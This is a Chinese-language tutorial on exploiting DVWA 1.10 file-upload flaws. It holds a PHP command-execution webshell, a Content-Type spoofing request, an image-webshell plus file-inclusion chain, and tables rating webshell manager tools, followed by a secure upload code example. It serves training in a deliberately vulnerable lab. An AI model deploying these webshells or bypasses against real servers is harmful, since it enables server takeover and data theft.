当前位置: 首页 > news >正文

DVWA 1.10 文件上传漏洞实战:3种绕过手法与蚁剑/菜刀连接成功率对比

DVWA 1.10 文件上传漏洞深度实战:绕过手法与工具兼容性全面解析

文件上传漏洞的本质与危害

文件上传功能是现代Web应用的基础组件之一,但当开发者未对上传文件进行严格校验时,攻击者可能上传恶意脚本文件(如PHP、ASP等),从而获取服务器控制权限。这种漏洞的危害性通常极高,可能导致:

  • 服务器完全沦陷
  • 敏感数据泄露
  • 作为跳板攻击内网其他系统
  • 被植入挖矿程序或勒索软件

DVWA(Damn Vulnerable Web Application)作为著名的漏洞演练平台,其文件上传模块设置了从低到高四个安全级别,是学习文件上传漏洞的理想环境。

1. 环境准备与基础配置

1.1 DVWA环境搭建

推荐使用Docker快速部署DVWA 1.10环境:

docker pull vulnerables/web-dvwa docker run -d -p 80:80 --name dvwa vulnerables/web-dvwa

访问http://localhost后,需完成以下初始化步骤:

  1. 点击"Create/Reset Database"按钮
  2. 使用默认账号admin/password登录
  3. 在"DVWA Security"页面将安全级别设为"Low"

1.2 必备工具安装

Burp Suite Community

  • 用于拦截和修改HTTP请求
  • 官网提供各平台安装包

Webshell管理工具对比

工具名称最新版本支持平台主要特点PHP 5.x兼容性PHP 7.x兼容性
中国菜刀2016Windows功能简单直接优秀
蚁剑2.1.9跨平台插件丰富,支持编码器良好优秀
冰蝎3.0Java跨平台流量加密,绕过WAF能力强良好优秀

提示:测试时建议在虚拟机环境中运行这些工具,部分安全软件会将其识别为威胁

2. Low级别漏洞分析与绕过

2.1 源码审计

Low级别的文件上传处理代码如下:

<?php if( isset( $_POST[ 'Upload' ] ) ) { $target_path = DVWA_WEB_PAGE_TO_ROOT."hackable/uploads/"; $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] ); if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) { echo '<pre>上传失败</pre>'; } else { echo "<pre>{$target_path} 上传成功!</pre>"; } } ?>

关键问题:

  • 未检查文件类型
  • 未验证文件内容
  • 直接使用原始文件名保存

2.2 基础攻击步骤

  1. 准备PHP一句话木马:

    <?php system($_GET['cmd']); ?>

    保存为shell.php

  2. 在DVWA文件上传页面直接上传该文件

  3. 访问上传后的文件路径,附加命令参数:

    http://localhost/hackable/uploads/shell.php?cmd=whoami

2.3 工具连接成功率实测

使用不同工具连接Low级别上传的Webshell:

工具连接方式PHP 5.6成功率PHP 7.4成功率备注
中国菜刀直接连接.php文件100%30%PHP 7下常出现连接中断
蚁剑直接连接.php文件100%100%默认编码器即可
手动curlGET请求带参数100%100%最原始但可靠的方式

3. Medium级别防护突破

3.1 安全机制分析

Medium级别新增了以下防护:

$uploaded_type = $_FILES['uploaded']['type']; $uploaded_size = $_FILES['uploaded']['size']; if( ($uploaded_type == "image/jpeg" || $uploaded_type == "image/png") && ($uploaded_size < 100000) ) { // 允许上传 }

关键限制:

  • 只接受image/jpeg和image/png类型
  • 文件大小需小于100KB

3.2 Content-Type绕过技术

操作步骤

  1. 使用Burp Suite拦截文件上传请求
  2. 修改Content-Type为image/jpeg
  3. 保持文件内容为PHP代码

具体操作

POST /dvwa/vulnerabilities/upload/ HTTP/1.1 Host: localhost Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryABC123 ------WebKitFormBoundaryABC123 Content-Disposition: form-data; name="uploaded"; filename="shell.php" Content-Type: image/jpeg [← 关键修改] <?php system($_GET['cmd']); ?> ------WebKitFormBoundaryABC123--

3.3 双写后缀绕过技术

当服务器仅检查文件扩展名时,可尝试:

  1. 将文件命名为shell.php.jpg
  2. 某些不严谨的校验逻辑可能只检查".jpg"而忽略前面部分
  3. 服务器可能按最后的后缀执行文件

4. High级别高级绕过手法

4.1 安全机制深度分析

High级别采用了更严格的防护:

$uploaded_ext = substr($uploaded_name, strrpos($uploaded_name, '.') + 1); $uploaded_tmp = $_FILES['uploaded']['tmp_name']; if( (strtolower($uploaded_ext) == "jpg" || strtolower($uploaded_ext) == "jpeg" || strtolower($uploaded_ext) == "png") && ($uploaded_size < 100000) && getimagesize($uploaded_tmp) ) { // 允许上传 }

新增防护:

  • 检查文件扩展名
  • 使用getimagesize()验证确实是图片文件

4.2 图片马结合文件包含漏洞

当无法直接上传可执行脚本时,可采用组合攻击:

  1. 制作图片马

    echo '<?php system($_GET["cmd"]); ?>' >> legit.jpg

    生成同时包含图片数据和PHP代码的文件

  2. 上传图片马

    • 通过High级别的上传校验
    • 文件保存为legit.jpg
  3. 利用文件包含漏洞执行

    http://localhost/dvwa/vulnerabilities/fi/?page=file:///var/www/html/dvwa/hackable/uploads/legit.jpg&cmd=whoami

4.3 PHP版本对攻击的影响

不同PHP版本对攻击技术的影响:

绕过技术PHP 5.6可行性PHP 7.4可行性原因分析
%00截断可行不可行PHP 5.3.4后修复此漏洞
图片马+文件包含可行可行依赖文件包含功能,与版本无关
.htaccess覆盖可行需配置允许依赖AllowOverride设置

5. 防御方案与最佳实践

5.1 安全防护措施对比

防护措施防护效果实施难度对业务影响
文件扩展名白名单★★★★★
MIME类型检查★★★★
文件内容签名验证★★★★★★★
重命名上传文件★★★★★★
存储在非Web可访问目录★★★★★★★
文件内容二次渲染★★★★★★★★★

5.2 PHP安全上传代码示例

$allowed_ext = ['jpg', 'png', 'gif']; $max_size = 1024 * 1024; // 1MB $upload_dir = '/var/www/uploads/'; $ext = strtolower(pathinfo($_FILES['file']['name'], PATHINFO_EXTENSION)); if(!in_array($ext, $allowed_ext)) { die('非法文件类型'); } if($_FILES['file']['size'] > $max_size) { die('文件过大'); } $file_content = file_get_contents($_FILES['file']['tmp_name']); if(strpos($file_content, '<?php') !== false) { die('检测到可疑内容'); } $new_filename = md5(uniqid().mt_rand()).'.'.$ext; if(move_uploaded_file($_FILES['file']['tmp_name'], $upload_dir.$new_filename)) { echo '上传成功'; } else { echo '上传失败'; }

6. 工具连接成功率深度分析

6.1 测试环境配置

  • PHP 5.6.40:传统环境
  • PHP 7.4.3:现代环境
  • Web服务器:Apache 2.4
  • 测试用例:每种绕过手法上传的Webshell各10次

6.2 连接成功率数据

绕过手法工具PHP 5.6成功率PHP 7.4成功率平均响应时间(ms)
直接上传.php中国菜刀100%25%120
直接上传.php蚁剑100%100%180
Content-Type修改中国菜刀90%20%150
Content-Type修改蚁剑100%100%200
图片马+文件包含中国菜刀80%10%300
图片马+文件包含蚁剑95%85%350

6.3 工具选择建议

根据实际测试经验:

  1. PHP 5.x环境

    • 中国菜刀连接速度快,功能直接
    • 蚁剑功能更全面但稍显复杂
  2. PHP 7.x环境

    • 蚁剑是唯一可靠选择
    • 需使用base64等编码器提高稳定性
    • 避免使用assert()函数,改用eval()
  3. 复杂绕过场景

    • 蚁剑的编码器功能可适应各种过滤场景
    • 冰蝎适合需要流量加密的情况
http://www.jsqmd.com/news/1134565/

相关文章:

  • JVM监控及诊断工具命令行篇之jmap实战:从内存快照到线上问题定位
  • CPU核心手动调度优化:提升性能与能效的实战指南
  • 基于OpenCV与YOLO的机器人视觉感知系统构建指南
  • Java毕设选题推荐:基于 SpringBoot 的新型冠状病毒医药数据归集管理系统的设计与实现【附源码、mysql、文档、调试+代码讲解+全bao等】
  • Windows 11 右键菜单管理:Git Bash 等3类工具的自定义与清理
  • 网络压力测试实战指南:从工具选型到性能瓶颈定位
  • 直流有刷电机驱动方案:TC78H653FTG与PIC18F4550实战解析
  • 如何在WPS Office中5分钟搭建专业文献管理系统:科研写作终极指南
  • 免费升级老旧Mac:OpenCore Legacy Patcher终极指南
  • Windows与Mac系统密码重置全攻略
  • 美加墨世界杯:大模型预测翻车,却在营销与应用场景中大放异彩!
  • Linux passwd 命令 15 个参数详解:从锁定到失效的完整用户管理
  • Linux 用户与权限管理实战:3 种方法创建用户组并设置 755 目录权限
  • Linux高级系统管理实战:进程管控、服务编排与自动化运维
  • 微信小程序授权登录弹窗:从基础实现到用户体验优化
  • 宝塔面板部署SpringBoot项目:从零到上线的保姆级避坑指南
  • Linux Swap 分区实战:CentOS 7.6 下 3 种方法动态调整 1-8GB 交换空间
  • YouTransfer安全加固实战:TLS加密、访问控制与Docker部署全解析
  • Excel 2021 + BAT 批处理:3步实现千级文件批量重命名与格式转换
  • 京东开源JoyAI-VL-Interaction:全栈实时视频视觉语言交互模型部署指南
  • 如何让旧系统焕发新生:Blender 3.x+ Windows 7兼容方案终极指南
  • APK Messenger v4.3 实战:5分钟完成微信APK基础信息与权限风险分析
  • Wig/BigWig 格式实战:3步从BAM文件生成UCSC基因组浏览器轨迹
  • SpringBoot+Vue高校毕业生就业平台毕设实战:从环境搭建到核心功能实现
  • C++和C中const的区别详解
  • 3款主流SAR舰船检测数据集对比:LS-SSDD-v1.0 vs SSDD vs RSDD-SAR 核心差异与应用选型
  • Linux 进程管理实战:kill -9 与 kill -15 的 3 种场景选择与僵尸进程规避
  • Flask 后端时间处理 3 大场景:datetime、字符串、时间戳与SQL查询实战
  • 详解C++ cout格式化输出完全攻略
  • 手机ROM剩余空间不多时无法查阅和编写短信